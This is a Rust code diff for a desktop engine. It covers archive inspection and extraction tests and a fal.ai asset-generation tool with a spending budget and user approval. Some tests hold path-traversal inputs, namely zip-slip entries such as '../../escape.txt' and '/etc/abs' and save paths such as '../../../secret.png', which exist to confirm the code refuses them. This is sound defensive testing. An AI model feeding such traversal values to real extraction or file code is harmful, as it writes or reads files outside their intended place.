"core_archive_show", json!({"path": a, "offset": 0, "limit": 2})).unwrap(); + assert_eq!(page["coverage"]["status"], "partial"); + assert_eq!(page["coverage"]["next_offset"], 2); + let x = call(&e, "core_archive_extract", json!({"path": a})).unwrap(); + let out = PathBuf::from(x["result"]["output_directory"].as_str().unwrap()); + assert_eq!(std::fs::read_to_string(out.join("main.js")).unwrap(), fx::MAIN_JS); + assert_eq!(x["result"]["files_written"], 5); + std::fs::remove_dir_all(out).unwrap(); + } + + #[test] + fn zip_slip_is_refused() { + let dir = tempfile::tempdir().unwrap(); + let z = dir.path().join("evil.zip"); + std::fs::write(&z, fx::zip_stored(&[("../../escape.txt", b"x"), ("/etc/abs", b"y"), ("C:/win", b"z"), ("ok/fine.txt", b"ok")])).unwrap(); + let e = Engine::new(crate::testing::session()); + let x = call(&e, "core_archive_extract", json!({"path": z})).unwrap(); + assert_eq!(x["result"]["files_written"], 1); + assert_eq!(x["result"]["skipped"].as_array().unwrap().len(), 3); + let out = PathBuf::from(x["result"]["output_directory"].as_str().unwrap()); + assert!(out.join("ok/fine.txt").exists()); + assert!(!out.parent().unwrap().join("escape.txt").exists()); + std::fs::remove_dir_all(out).unwrap(); + } + + #[test] + fn compare_two_folders_and_evidence_inputs() { + let dir = tempfile::tempdir().unwrap(); + let a = fx::write_files(&dir.path().join("v1"), &fx::notes_app_files()).unwrap(); + let b = fx::write_files(&dir.path().join("v2"), &fx::notes_app_v2_files()).unwrap(); + let e = Engine::new(crate::testing::session()); + let d = call(&e, "core_archives_compare", json!({"left": a, "right": b})).unwrap(); + assert_eq!(d["result"]["counts"]["changed"], 2, "{}", d["result"]); + let inv = call(&e, "core_archive_show", json!({"path": a})).unwrap(); + let id = inv["id"].as_str().unwrap(); + let d2 = call(&e, "core_archives_compare", json!({"left": {"kind": "saved", "evidence_id": id}, "right": b})).unwrap(); + assert_eq!(d2["result"]["counts"], d["result"]["counts"]); + assert!(call(&e, "core_archives_compare", json!({"left": "relative/path", "right": b})).is_err()); + } + + #[test] + fn folder_evidence_scope_is_not_a_change() { + let dir = tempfile::tempdir().unwrap(); + let app = dir.path().join("app"); + std::fs::create_dir(&app).unwrap(); + let l3 = fx::zip_stored(&[("leaf.txt", b"leaf")]); + let l2 = fx::zip_stored(&[("l3.zip", &l3)]); + let l1 = fx::zip_stored(&[("l2.zip", &l2)]); + std::fs::write(app.join("l1.zip"), &l1).unwrap(); + std::fs::write(app.join("other.txt"), b"other").unwrap(); + let e = Engine::new(crate::testing::session()); + let tools = ["core_archives_compare", "android_app_graph_build", "apple_app_graph_build", "harmony_app_graph_build"]; + let consume = |tool: &str, input: Value| { + let p = if tool == "core_archives_compare" { json!({"left": input, "right": app}) } else { json!({"inventory": input}) }; + call(&e, tool, p) + }; + let scopes = [json!({"max_depth": 2}), json!({"max_depth": 3}), json!({"max_entries": 2}), json!({"max_total_bytes": 10})]; + let mut recorded = Vec::new(); + for scope in scopes { + let mut p = scope.clone(); + p["path"] = json!(app); + let inv = call(&e, "core_archive_show", p).unwrap(); + let id = inv["id"].as_str().unwrap().to_string(); + for tool in tools { + for input in [json!({"kind": "saved", "evidence_id": id}), inv.clone()] { + let out = consume(tool, input).unwrap_or_else(|err| panic!("{scope} {tool}: {err:?}")); + assert!(out["links"].as_array().unwrap().contains(&json!(id)), "{scope} {tool}"); + if tool == "core_archives_compare" { + for k in ["added", "removed", "changed", "moved"] { + assert_eq!(out["result"]["counts"][k], 0, "{scope} {k}"); + } + } + } + } + recorded.push((id, inv)); + } + // Real changes are still refused (both files change, so each recorded scope covers one). + std::fs::write(app.join("l1.zip"), fx::zip_stored(&[("l2.zip", b"changed")])).unwrap(); + std::fs::write(app.join("other.txt"), b"changed").unwrap(); + for (id, inv) in recorded { + for tool in tools { + for input in [json!({"kind": "saved", "evidence_id": id}), inv.clone()] { + let err = consume(tool, input).unwrap_err(); + assert_eq!(err.code, ErrorCode::FileChanged, "{tool}"); + } + } + } + } + + #[test] + fn if_tampered() { + let dir = tempfile::tempdir().unwrap(); + let mut z = fx::zip_stored(&[("a.txt", b"hello")]); + // Corrupt the stored data so the CRC no longer matches. + let pos = z.windows(5).position(|w| w == b"hello").unwrap(); + z[pos] = b'j'; + let p = dir.path().join("bad.zip"); + std::fs::write(&p, &z).unwrap(); + let e = Engine::new(crate::testing::session()); + let err = call(&e, "core_archive_show", json!({"path": p})).unwrap_err(); + assert_eq!(err.code, ErrorCode::FileHashMismatch); + let ok = call(&e, "core_archive_show", json!({"path": p, "if_tampered": "continue"})).unwrap(); + assert_eq!(ok["result"]["contradictions"].as_array().unwrap().len(), 1); + } + + #[test] + fn safe_components_rules() { + assert!(safe_components("../x").is_err()); + assert!(safe_components("/x").is_err()); + assert!(safe_components("a\\..\\..\\x").is_err()); + assert!(safe_components("C:\\x").is_err()); + assert_eq!(safe_components("./a//b").unwrap(), vec!["a", "b"]); + assert!(safe_components("").is_err()); + } + + /// #294: a folder that couldn't be listed looked like an ordinary empty folder. + #[cfg(unix)] + #[test] + fn a_folder_that_cant_be_listed_is_marked_and_leaves_coverage_partial() { + use std::os::unix::fs::PermissionsExt; + let dir = tempfile::tempdir().unwrap(); + let bundle = dir.path().join("bundle"); + let closed = bundle.join("closed"); + std::fs::create_dir_all(&closed).unwrap(); + std::fs::write(closed.join("hidden.js"), "console.log('hidden');\n").unwrap(); + std::fs::write(bundle.join("visible.js"), "console.log('visible');\n").unwrap(); + let e = Engine::new(crate::testing::session()); + let readable = call(&e, "core_archive_show", json!({"path": bundle})).unwrap(); + std::fs::set_permissions(&closed, std::fs::Permissions::from_mode(0o000)).unwrap(); + if std::fs::read_dir(&closed).is_ok() { + std::fs::set_permissions(&closed, std::fs::Permissions::from_mode(0o755)).unwrap(); + return; // Run as root: nothing is unreadable. + } + let child = call(&e, "core_archive_show", json!({"path": bundle})); + let root = call(&e, "core_archive_show", json!({"path": closed})); + std::fs::set_permissions(&closed, std::fs::Permissions::from_mode(0o755)).unwrap(); + let v = child.unwrap(); + assert_eq!(v["coverage"]["status"], "partial", "{v}"); + assert!(v["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "unlisted_folders"), "{v}"); + let entry = v["result"]["entries"].as_array().unwrap().iter().find(|x| x["path"] == "closed").cloned().unwrap(); + assert!(entry["note"].as_str().is_some_and(|n| n.contains("couldn't be listed")), "{v}"); + assert!(root.is_err(), "a root folder that can't be listed is an error, not an empty inventory"); + assert_eq!(call(&e, "core_archive_show", json!({"path": bundle})).unwrap()["result"], readable["result"]); + } +} diff --git a/desktop/crates/engine/src/tools/asset_tools.rs b/desktop/crates/engine/src/tools/asset_tools.rs new file mode 100644 index 0000000..d1c05e0 --- /dev/null +++ b/desktop/crates/engine/src/tools/asset_tools.rs @@ -0,0 +1,534 @@ +//! Game assets the builder generates with fal.ai: `assets_image_generate` (a picture: a texture, a sky, +//! concept art) and `assets_model_generate` (a low-poly GLB model, from a description or a picture). Each one +//! is paid for, so a project has a budget: the builder spends freely under it, and the person is +//! asked before it goes over. Nothing is generated unless the person turned it on for the project +//! (`project_assets_allow`). Every asset and its cost is listed in the project (assets.json). +//! The provider comes from the `AssetProviders` registry and the models and prices from the +//! asset table, so the cost is known before anything is spent. + +use crate::inbox::Inbox; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use crate::tools::interaction_tools::{Verdict, ask_approval, inbox, inside, resolve, workspace_of}; +use crate::workspace::{AssetRecord, Workspace}; +use craft_anything_engines::assets::{AssetProvider, AssetProviders, AssetRequest, Catalogue, Generated, Shape, about_usd, fal, usd}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; +use std::path::{Path, PathBuf}; +use std::sync::OnceLock; + +/// The person's key for each asset provider (by provider id), put in the session by the tool +/// server (read from the keychain; a key never travels on a command line or into a log). +#[derive(Default)] +pub struct AssetKeys(pub std::collections::BTreeMap); + +impl AssetKeys { + /// The key for `provider`, if one is set up. + pub fn get(&self, provider: &str) -> Option<&str> { + self.0.get(provider).map(String::as_str).filter(|k| !k.trim().is_empty()) + } +} + +/// Remembered when the person says "always" to going over the budget. +const OVER_BUDGET: &str = "assets:over-budget"; + +pub fn specs() -> Vec { + let effects = Effects::ACCESSES_NETWORK.union(Effects::WRITES_FILESYSTEM); + vec![ + ToolSpec { + id: "assets_image_generate", + title: "Generate a picture", + summary: &summaries().0, + beginner: "Makes a picture for your game, like a texture or a sky.", + toolset: Toolset::Core, + effects, + requires: Requires::Nothing, + input_schema: schema_of::, + run: assets_image_generate, + }, + ToolSpec { + id: "assets_model_generate", + title: "Generate a 3D model", + summary: &summaries().1, + beginner: "Makes a 3D object for your game, like a crate, a tree or a car.", + toolset: Toolset::Core, + effects, + requires: Requires::Nothing, + input_schema: schema_of::, + run: assets_model_generate, + }, + ] +} + +/// The two tools' summaries, with the prices and face limits of the asset table's default models. +fn summaries() -> &'static (String, String) { + static TEXT: OnceLock<(String, String)> = OnceLock::new(); + TEXT.get_or_init(|| { + let c = Catalogue::built_in(); + let (picture, picture_model) = c.image_model(None).map(|m| (m.cost(Shape::Square), m.name.as_str())).unwrap_or((0.0, "the default model")); + let (textured, faces) = c.model_3d(None).map(|m| (m.cost(true), m.faces())).unwrap_or((0.0, 48..=20_000)); + let image = format!( + "Make a picture with fal.ai ({picture_model}) and save it as a PNG inside app/: a texture, a sky or background, an icon, a title screen or concept art. shape: square (1024x1024, default), wide (1024x576) or tall (576x1024). Costs {}, counted against the project's asset budget. Describe original designs in the original's style; never ask for recognisable characters, logos or brand artwork. Returns where it was saved, the cost and the budget left.", + about_usd(picture) + ); + let model = format!( + "Make a game-ready, low-poly 3D model (GLB) with fal.ai (Tripo P1) and save it inside app/. Give a prompt (a picture is made first, then turned into the model) or an image (a web address, or a picture inside the project such as reference/picture-1.png). faces caps the face count ({} to {}, default {DEFAULT_FACES}): about 500-1500 for small props and pickups, 2000-5000 for weapons, furniture and vehicles, 6000-15000 for main characters; fewer faces run faster, so use the fewest that still look right. textured (default true) gives colours and surfaces. A textured model costs {} plus {} for the picture, counted against the project's asset budget; it takes a minute or two. Describe one original object per model; never ask for recognisable characters, logos or brand artwork. Returns where it was saved, the cost and the budget left.", + faces.start(), + faces.end(), + usd(textured), + usd(picture) + ); + (image, model) + }) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ImageParams { + /// What to draw, in detail (subject, style, colours, lighting). + pub prompt: String, + /// Where to save it, relative to app/, ending in .png (e.g. Assets/Textures/crate.png). + pub save_as: String, + /// square (default), wide or tall. + #[serde(default)] + pub shape: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ModelParams { + /// Where to save it, relative to app/, ending in .glb (e.g. Assets/Models/crate.glb). + pub save_as: String, + /// What to make: one object, described in detail. Used when no image is given. + #[serde(default)] + pub prompt: String, + /// A picture to turn into the model: a web address, or a picture inside the project. + #[serde(default)] + pub image: String, + /// Colours and surfaces (default true); false makes a plain grey model for $0.40 instead of $0.50. + #[serde(default)] + pub textured: Option, + /// Most faces the model may have, 48 to 20000 (default 3000). Fewer faces run faster. + #[serde(default)] + pub faces: Option, +} + +/// A mid-sized game prop: detailed enough up close, cheap to draw many of. +const DEFAULT_FACES: u32 = 3000; + +/// What a generation needs: the keys, the providers, the inbox (for the over-budget question) and +/// the project. +struct Job { + keys: std::sync::Arc, + providers: AssetProviders, + inbox: Inbox, + ws: Workspace, +} + +fn job(ctx: &Ctx<'_>) -> Result { + let keys = ctx.session.ext.get::().unwrap_or_default(); + // A session can bring its own providers (a fork, a test); otherwise the built-in ones. + let providers = ctx.session.ext.get::().map(|p| p.as_ref().clone()).unwrap_or_default(); + if !providers.ids().iter().any(|id| keys.get(id).is_some()) { + return Err(no_key("fal.ai")); + } + let not_project = || ToolError::new(ErrorCode::FeatureMissing, "Assets can only be generated inside a REI Reverse Engineer project."); + let inbox = inbox(ctx).ok_or_else(not_project)?; + let ws = workspace_of(&inbox).ok_or_else(not_project)?; + if !ws.manifest.generate_assets { + return Err(ToolError::new(ErrorCode::NoPermission, "The person hasn't turned on generated assets for this project.").with_remediation( + "Make these assets with simple shapes and colours instead, and tell the person they can turn on generated assets for this game in the app.", + )); + } + Ok(Job { keys, providers, inbox, ws }) +} + +fn no_key(provider: &str) -> ToolError { + ToolError::new(ErrorCode::BadSettings, format!("No {provider} key is set up, so pictures and 3D models can't be generated.")).with_remediation(format!( + "Make these assets with simple shapes and colours instead, and tell the person they can add a {provider} key in Settings → AI for realistic ones." + )) +} + +impl Job { + /// The key for `provider`, checked before anything is asked or spent. + fn key(&self, provider: &dyn AssetProvider) -> Result { + self.keys.get(provider.id()).map(str::to_string).ok_or_else(|| no_key(provider.name())) + } +} + +/// Where to save inside app/: (full path, path relative to app/). `ext` is the required extension. +fn save_path(ws: &Workspace, save_as: &str, ext: &str) -> Result<(PathBuf, String), ToolError> { + let app = ws.app_dir(); + // Paths given from the workspace ("app/Assets/x.glb") mean the same place. + let rel = save_as.trim().trim_start_matches("./").trim_start_matches("app/").trim_start_matches("app\\"); + let path = resolve(&app, rel).filter(|p| inside(&app, p) && *p != app).ok_or_else(|| ToolError::invalid("save_as must be a file path inside app/"))?; + if !path.extension().is_some_and(|e| e.eq_ignore_ascii_case(ext)) { + return Err(ToolError::invalid(format!("save_as must end in .{ext}"))); + } + let shown = path.strip_prefix(&app).unwrap_or(&path).display().to_string().replace('\\', "/"); + Ok((path, shown)) +} + +/// Go ahead if this stays within the budget, else ask the person (unless they said "always"). +fn within_budget(ctx: &mut Ctx<'_>, inbox: &Inbox, ws: &mut Workspace, cost: f64) -> Result<(), ToolError> { + let spent = ws.assets_spent(); + let budget = ws.manifest.asset_budget_usd; + if spent + cost <= budget + 1e-9 || ws.manifest.allowed_actions.iter().any(|k| k == OVER_BUDGET) { + return Ok(()); + } + // Auto mode doesn't stop to ask, and doesn't spend the person's money past the budget unasked. + if ctx.session.settings.auto_mode { + return Err(ToolError::new(ErrorCode::OverLimit, format!("This project's ${budget:.2} asset budget is used up (${spent:.2} so far).")) + .with_remediation("Use simple shapes, colours and the assets already made for the rest. The person can raise the budget in the app.")); + } + let title = format!("Spend about ${cost:.2} more on game pictures and 3D models?"); + let detail = format!( + "This project's ${budget:.2} budget for generated assets is used up (${spent:.2} so far). Allow once for this asset, or always to let the builder keep generating for this project." + ); + match ask_approval(ctx, inbox, Some(ws), &title, &detail, OVER_BUDGET)? { + Verdict::Yes => Ok(()), + Verdict::No(_) | Verdict::NoAnswer => Err(ToolError::new(ErrorCode::OverLimit, "The asset budget is used up and the person didn't raise it.") + .with_remediation("Use simple shapes, colours and the assets already made for the rest.")), + } +} + +/// Save a generated file and list it with its cost. +fn keep(ws: &Workspace, path: &Path, rel: &str, kind: &str, made_from: &str, g: &Generated) -> Result<(), ToolError> { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(|e| ToolError::io(parent.display(), e))?; + } + crate::project::write_atomic(path, &g.bytes)?; + ws.record_asset(AssetRecord { + file: rel.to_string(), + kind: kind.into(), + prompt: made_from.chars().take(1000).collect(), + cost_usd: g.cost_usd, + at_ms: crate::inbox::now_ms(), + }) +} + +fn summary(ws: &Workspace, saved: &str, cost: f64, extra: Value) -> ToolOutput { + let spent = ws.assets_spent(); + let mut v = + json!({"saved": saved, "cost_usd": round(cost), "spent_usd": round(spent), "budget_left_usd": round((ws.manifest.asset_budget_usd - spent).max(0.0))}); + if let (Some(o), Some(e)) = (v.as_object_mut(), extra.as_object()) { + o.extend(e.clone()); + } + ToolOutput::Value(v) +} + +fn round(x: f64) -> f64 { + (x * 100.0).round() / 100.0 +} + +fn prompt_ok(p: &str) -> Result<&str, ToolError> { + let p = p.trim(); + if p.is_empty() || p.len() > 2000 { + return Err(ToolError::invalid("prompt must be 1..=2000 characters")); + } + Ok(p) +} + +fn assets_image_generate(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ImageParams = parse_params(params)?; + let prompt = prompt_ok(&p.prompt)?; + let shape = match p.shape.as_deref() { + None => Shape::Square, + Some(s) => Shape::parse(s).ok_or_else(|| ToolError::invalid("shape must be square, wide or tall"))?, + }; + let mut j = job(ctx)?; + let (path, rel) = save_path(&j.ws, &p.save_as, "png")?; + let model = Catalogue::built_in().image_model(ctx.session.settings.assets.image_model.as_deref())?; + let req = AssetRequest::Image { model, prompt, shape }; + let provider = j.providers.for_request(&req)?; + let key = j.key(provider.as_ref())?; + within_budget(ctx, &j.inbox, &mut j.ws, provider.estimate(&req)?)?; + ctx.report(None, "Making a picture…"); + let g = provider.generate(&key, &req)?; + keep(&j.ws, &path, &rel, "image", prompt, &g)?; + Ok(summary(&j.ws, &rel, g.cost_usd, json!({}))) +} + +fn assets_model_generate(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ModelParams = parse_params(params)?; + let textured = p.textured.unwrap_or(true); + let faces = p.faces.unwrap_or(DEFAULT_FACES); + let catalogue = Catalogue::built_in(); + let model = catalogue.model_3d(None)?; + let range = model.faces(); + if !range.contains(&faces) { + return Err(ToolError::invalid(format!("faces must be {} to {}", range.start(), range.end()))); + } + let mut j = job(ctx)?; + let (path, rel) = save_path(&j.ws, &p.save_as, "glb")?; + let image = p.image.trim(); + let from_prompt = image.is_empty(); + // The picture's address isn't known yet; the estimate doesn't depend on it. + let model_req = AssetRequest::Model3d { model, image_url: "", textured, faces }; + let provider = j.providers.for_request(&model_req)?; + let key = j.key(provider.as_ref())?; + let mut estimate = provider.estimate(&model_req)?; + // From a prompt, a picture is made first: with the picture model chosen in Settings. + let mut picture_maker = None; + if from_prompt { + let image_model = catalogue.image_model(ctx.session.settings.assets.image_model.as_deref())?; + let picture_req = AssetRequest::Image { model: image_model, prompt: &p.prompt, shape: Shape::Square }; + let picture_provider = j.providers.for_request(&picture_req)?; + let picture_key = j.key(picture_provider.as_ref())?; + estimate += picture_provider.estimate(&picture_req)?; + picture_maker = Some((image_model, picture_provider, picture_key)); + } + let source = if from_prompt { None } else { Some(image_source(&j.ws, image)?) }; + within_budget(ctx, &j.inbox, &mut j.ws, estimate)?; + let mut cost = 0.0; + let mut picture = Value::Null; + let (url, made_from) = match source { + Some(src) => (src, format!("from {image}")), + None => { + let prompt = prompt_ok(&p.prompt).map_err(|_| ToolError::invalid("give a prompt (what to make) or an image to make it from"))?; + let (image_model, picture_provider, picture_key) = picture_maker.ok_or_else(|| ToolError::internal("no picture model was chosen"))?; + ctx.report(None, "Making a picture of it first…"); + // Image-to-3D works best from one whole object on a plain background. + let described = format!( + "{prompt}. One whole object, centred and fully in view, on a plain light-grey background, soft even lighting, three-quarter view, no text." + ); + let g = picture_provider.generate(&picture_key, &AssetRequest::Image { model: image_model, prompt: &described, shape: Shape::Square })?; + let (pic_path, pic_rel) = save_path(&j.ws, &format!("{}.png", rel.trim_end_matches(".glb").trim_end_matches(".GLB")), "png")?; + keep(&j.ws, &pic_path, &pic_rel, "image", prompt, &g)?; + cost += g.cost_usd; + picture = Value::String(pic_rel); + (g.url, prompt.to_string()) + } + }; + ctx.report(None, "Turning it into a 3D model (a minute or two)…"); + let g = provider.generate(&key, &AssetRequest::Model3d { model, image_url: &url, textured, faces })?; + keep(&j.ws, &path, &rel, "model", &made_from, &g)?; + cost += g.cost_usd; + Ok(summary(&j.ws, &rel, cost, json!({"picture": picture, "textured": textured, "faces": faces}))) +} + +/// The picture a model is made from: a web address as it is, or a picture in the project sent +/// inline. +fn image_source(ws: &Workspace, image: &str) -> Result { + if image.starts_with("https://") || image.starts_with("http://") { + return Ok(image.to_string()); + } + let path = resolve(&ws.root, image) + .filter(|p| inside(&ws.root, p)) + .ok_or_else(|| ToolError::invalid("image must be a web address or a picture inside the project"))?; + let media = match path.extension().and_then(|e| e.to_str()).map(str::to_ascii_lowercase).as_deref() { + Some("png") => "image/png", + Some("jpg" | "jpeg") => "image/jpeg", + Some("webp") => "image/webp", + _ => return Err(ToolError::invalid("image must be a PNG, JPEG or WebP picture")), + }; + let meta = std::fs::metadata(&path).map_err(|e| ToolError::io(path.display(), e))?; + if meta.len() > 20 << 20 { + return Err(ToolError::invalid("that picture is over 20 MB")); + } + let bytes = std::fs::read(&path).map_err(|e| ToolError::io(path.display(), e))?; + Ok(fal::data_uri(&bytes, media)) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::inbox::{Answer, InboxDir}; + use crate::workspace::TargetRef; + use std::time::Duration; + + /// A game whose person allows generated assets. + fn ws() -> (tempfile::TempDir, Workspace) { + let dir = tempfile::tempdir().unwrap(); + let mut w = Workspace::create(dir.path(), "game", "A snake game", TargetRef::None).unwrap(); + w.set_person(|m| m.generate_assets = true).unwrap(); + (dir, w) + } + + #[test] + fn saved_inside_app_with_the_right_ending() { + let (_d, w) = ws(); + let (p, rel) = save_path(&w, "Assets/Models/crate.glb", "glb").unwrap(); + assert_eq!(rel, "Assets/Models/crate.glb"); + assert!(p.starts_with(w.app_dir())); + assert_eq!(save_path(&w, "app/Assets/sky.png", "png").unwrap().1, "Assets/sky.png", "paths from the workspace mean the same place"); + assert!(save_path(&w, "Assets/crate.png", "glb").is_err(), "the ending must match"); + assert!(save_path(&w, "../../evil.glb", "glb").is_err(), "nothing outside app/"); + assert!(image_source(&w, "../../../secret.png").is_err(), "pictures come from the project or the web"); + assert_eq!(image_source(&w, "https://v3.fal.media/x.png").unwrap(), "https://v3.fal.media/x.png"); + } + + #[test] + fn the_summaries_read_the_asset_table() { + // The default picture model's name and price, and the default 3D model's. + assert_eq!( + summaries().0, + "Make a picture with fal.ai (Nano Banana Pro) and save it as a PNG inside app/: a texture, a sky or background, an icon, a title screen or concept art. shape: square (1024x1024, default), wide (1024x576) or tall (576x1024). Costs about $0.15, counted against the project's asset budget. Describe original designs in the original's style; never ask for recognisable characters, logos or brand artwork. Returns where it was saved, the cost and the budget left." + ); + assert_eq!( + summaries().1, + "Make a game-ready, low-poly 3D model (GLB) with fal.ai (Tripo P1) and save it inside app/. Give a prompt (a picture is made first, then turned into the model) or an image (a web address, or a picture inside the project such as reference/picture-1.png). faces caps the face count (48 to 20000, default 3000): about 500-1500 for small props and pickups, 2000-5000 for weapons, furniture and vehicles, 6000-15000 for main characters; fewer faces run faster, so use the fewest that still look right. textured (default true) gives colours and surfaces. A textured model costs $0.50 plus $0.15 for the picture, counted against the project's asset budget; it takes a minute or two. Describe one original object per model; never ask for recognisable characters, logos or brand artwork. Returns where it was saved, the cost and the budget left." + ); + } + + /// Stands in for fal.ai: records each request's endpoint and answers with a few bytes. + #[derive(Default)] + struct StandIn(craft_anything_platform::sync::Mutex>); + + impl craft_anything_engines::assets::AssetProvider for StandIn { + fn id(&self) -> &'static str { + "fal" + } + fn name(&self) -> &'static str { + "stand-in" + } + fn generate(&self, key: &str, req: &AssetRequest) -> Result { + assert_eq!(key, "k-1"); + let (endpoint, bytes) = match req { + AssetRequest::Image { model, .. } => (model.endpoint.clone(), b"png".to_vec()), + AssetRequest::Model3d { model, image_url, .. } => { + assert_eq!(*image_url, "https://stand-in/picture.png", "the model is made from the picture"); + (model.endpoint.clone(), b"glb".to_vec()) + } + _ => return Err(ToolError::invalid("the stand-in makes pictures and 3D models only")), + }; + self.0.lock().unwrap().push(endpoint); + Ok(Generated { url: "https://stand-in/picture.png".into(), bytes, cost_usd: req.listed_cost() }) + } + } + + #[test] + fn a_model_from_a_prompt_through_the_provider_registry() { + let (_d, w) = ws(); + let stand_in = std::sync::Arc::new(StandIn::default()); + let mut providers = AssetProviders::built_in(); + providers.register(stand_in.clone()); + let mut session = crate::testing::session(); + session.settings.assets.image_model = Some("flux-schnell".into()); + let e = crate::Engine::new(session); + e.session().ext.insert(std::sync::Arc::new(InboxDir(w.inbox_dir()))); + e.session().ext.insert(std::sync::Arc::new(AssetKeys([("fal".to_string(), "k-1".to_string())].into()))); + e.session().ext.insert(std::sync::Arc::new(providers)); + let out = + e.call("assets_model_generate", json!({"prompt": "a crate", "save_as": "Assets/crate.glb"}), crate::CallOptions::new(crate::Caller::Mcp)).unwrap(); + let ToolOutput::Value(v) = out else { panic!("{out:?}") }; + assert_eq!(v["saved"], "Assets/crate.glb"); + assert_eq!(v["picture"], "Assets/crate.png"); + assert_eq!(*stand_in.0.lock().unwrap(), vec!["fal-ai/flux/schnell".to_string(), "tripo3d/p1/image-to-3d".to_string()], "the configured picture model"); + assert_eq!(std::fs::read(w.app_dir().join("Assets/crate.glb")).unwrap(), b"glb"); + let spent = w.assets_spent(); + assert!((spent - (0.50 + 0.003 * 1.048576)).abs() < 1e-9, "{spent}"); + assert_eq!(w.assets().len(), 2); + } + + #[test] + fn a_key_for_another_provider_doesnt_pay_this_one() { + let (_d, w) = ws(); + let e = crate::Engine::new(crate::testing::session()); + e.session().ext.insert(std::sync::Arc::new(InboxDir(w.inbox_dir()))); + e.session().ext.insert(std::sync::Arc::new(AssetKeys([("fal".to_string(), " ".to_string())].into()))); + let err = + e.call("assets_image_generate", json!({"prompt": "a crate", "save_as": "crate.png"}), crate::CallOptions::new(crate::Caller::Mcp)).err().unwrap(); + assert!(err.code == ErrorCode::BadSettings, "a blank key is no key"); + let mut providers = AssetProviders::built_in(); + providers.register(std::sync::Arc::new(Named("other"))); + e.session().ext.insert(std::sync::Arc::new(providers)); + e.session().ext.insert(std::sync::Arc::new(AssetKeys([("other".to_string(), "o-1".to_string())].into()))); + let err = + e.call("assets_image_generate", json!({"prompt": "a crate", "save_as": "crate.png"}), crate::CallOptions::new(crate::Caller::Mcp)).err().unwrap(); + assert_eq!(err.code, ErrorCode::BadSettings); + assert!(err.message.contains("No fal.ai key"), "{}", err.message); + assert!(w.assets().is_empty() && Inbox::new(w.inbox_dir()).pending().is_empty(), "nothing asked or spent"); + } + + /// A provider that serves nothing in the catalogue. + struct Named(&'static str); + + impl craft_anything_engines::assets::AssetProvider for Named { + fn id(&self) -> &'static str { + self.0 + } + fn name(&self) -> &'static str { + self.0 + } + fn generate(&self, _key: &str, _req: &AssetRequest) -> Result { + Err(ToolError::invalid("not here")) + } + } + + #[test] + fn without_a_key_it_says_to_use_simple_shapes() { + let (_d, w) = ws(); + let e = crate::Engine::new(crate::testing::session()); + e.session().ext.insert(std::sync::Arc::new(InboxDir(w.inbox_dir()))); + let err = + e.call("assets_image_generate", json!({"prompt": "a crate", "save_as": "crate.png"}), crate::CallOptions::new(crate::Caller::Mcp)).err().unwrap(); + assert_eq!(err.code, ErrorCode::BadSettings); + assert!(err.remediation.unwrap_or_default().contains("simple shapes")); + let err = + e.call("assets_model_generate", json!({"prompt": "a crate", "save_as": "crate.glb", "faces": 40_000}), crate::CallOptions::new(crate::Caller::Mcp)); + assert!(err.err().unwrap().message.contains("faces must be 48 to 20000"), "Tripo P1's face limit"); + } + + #[test] + fn nothing_is_generated_unless_the_project_allows_it() { + let (_d, mut w) = ws(); + w.set_person(|m| m.generate_assets = false).unwrap(); + let e = crate::Engine::new(crate::testing::session()); + e.session().ext.insert(std::sync::Arc::new(InboxDir(w.inbox_dir()))); + e.session().ext.insert(std::sync::Arc::new(AssetKeys([("fal".to_string(), "k-1".to_string())].into()))); + let err = + e.call("assets_image_generate", json!({"prompt": "a crate", "save_as": "crate.png"}), crate::CallOptions::new(crate::Caller::Mcp)).err().unwrap(); + assert_eq!(err.code, ErrorCode::NoPermission, "a key alone isn't the person's choice"); + assert!(err.remediation.unwrap_or_default().contains("simple shapes")); + assert!(w.assets().is_empty() && Inbox::new(w.inbox_dir()).pending().is_empty(), "nothing asked or spent"); + } + + #[test] + fn the_budget_asks_before_going_over_and_remembers_always() { + let (_d, mut w) = ws(); + w.record_asset(AssetRecord { file: "a.glb".into(), kind: "model".into(), prompt: "x".into(), cost_usd: 4.80, at_ms: 0 }).unwrap(); + let inbox = Inbox::new(w.inbox_dir()); + let mut session = crate::testing::session(); + // Auto mode stops at the budget without asking. + session.settings.auto_mode = true; + { + let mut ctx = Ctx { tool: "test", session: &mut session, cancel: crate::CancelToken::default(), progress: &|_| {}, caller: crate::Caller::Mcp }; + assert_eq!(within_budget(&mut ctx, &inbox, &mut w, 0.48).unwrap_err().code, ErrorCode::OverLimit); + assert!(inbox.pending().is_empty(), "no question in Auto mode"); + } + // Asking is what Auto mode switches off. + session.settings.auto_mode = false; + let mut ctx = Ctx { tool: "test", session: &mut session, cancel: crate::CancelToken::default(), progress: &|_| {}, caller: crate::Caller::Mcp }; + // Under the budget: no question. + within_budget(&mut ctx, &inbox, &mut w, 0.03).unwrap(); + assert!(inbox.pending().is_empty()); + // Over it: asked; "no" stops, "always" lifts the cap for the project. + let dir = w.inbox_dir(); + let answer = |allow: bool, always: bool| { + let inbox = Inbox::new(dir.clone()); + std::thread::spawn(move || { + for _ in 0..200 { + if let Some(r) = inbox.pending().first() { + assert!(r.title.contains("$0.48"), "{}", r.title); + inbox.answer(&r.id, &Answer { allow: Some(allow), always, ..Default::default() }).unwrap(); + return; + } + std::thread::sleep(Duration::from_millis(25)); + } + panic!("no question came"); + }) + }; + let t = answer(false, false); + assert_eq!(within_budget(&mut ctx, &inbox, &mut w, 0.48).unwrap_err().code, ErrorCode::OverLimit); + t.join().unwrap(); + let t = answer(true, true); + within_budget(&mut ctx, &inbox, &mut w, 0.48).unwrap(); + t.join().unwrap(); + assert!(Workspace::open(&w.root).unwrap().manifest.allowed_actions.iter().any(|k| k == OVER_BUDGET)); + within_budget(&mut ctx, &inbox, &mut w, 10.0).unwrap(); + assert!(inbox.pending().is_empty(), "after \"always\" it doesn't ask again"); + assert!((w.assets_spent() - 4.80).abs() < 1e-9); + } +} diff --git 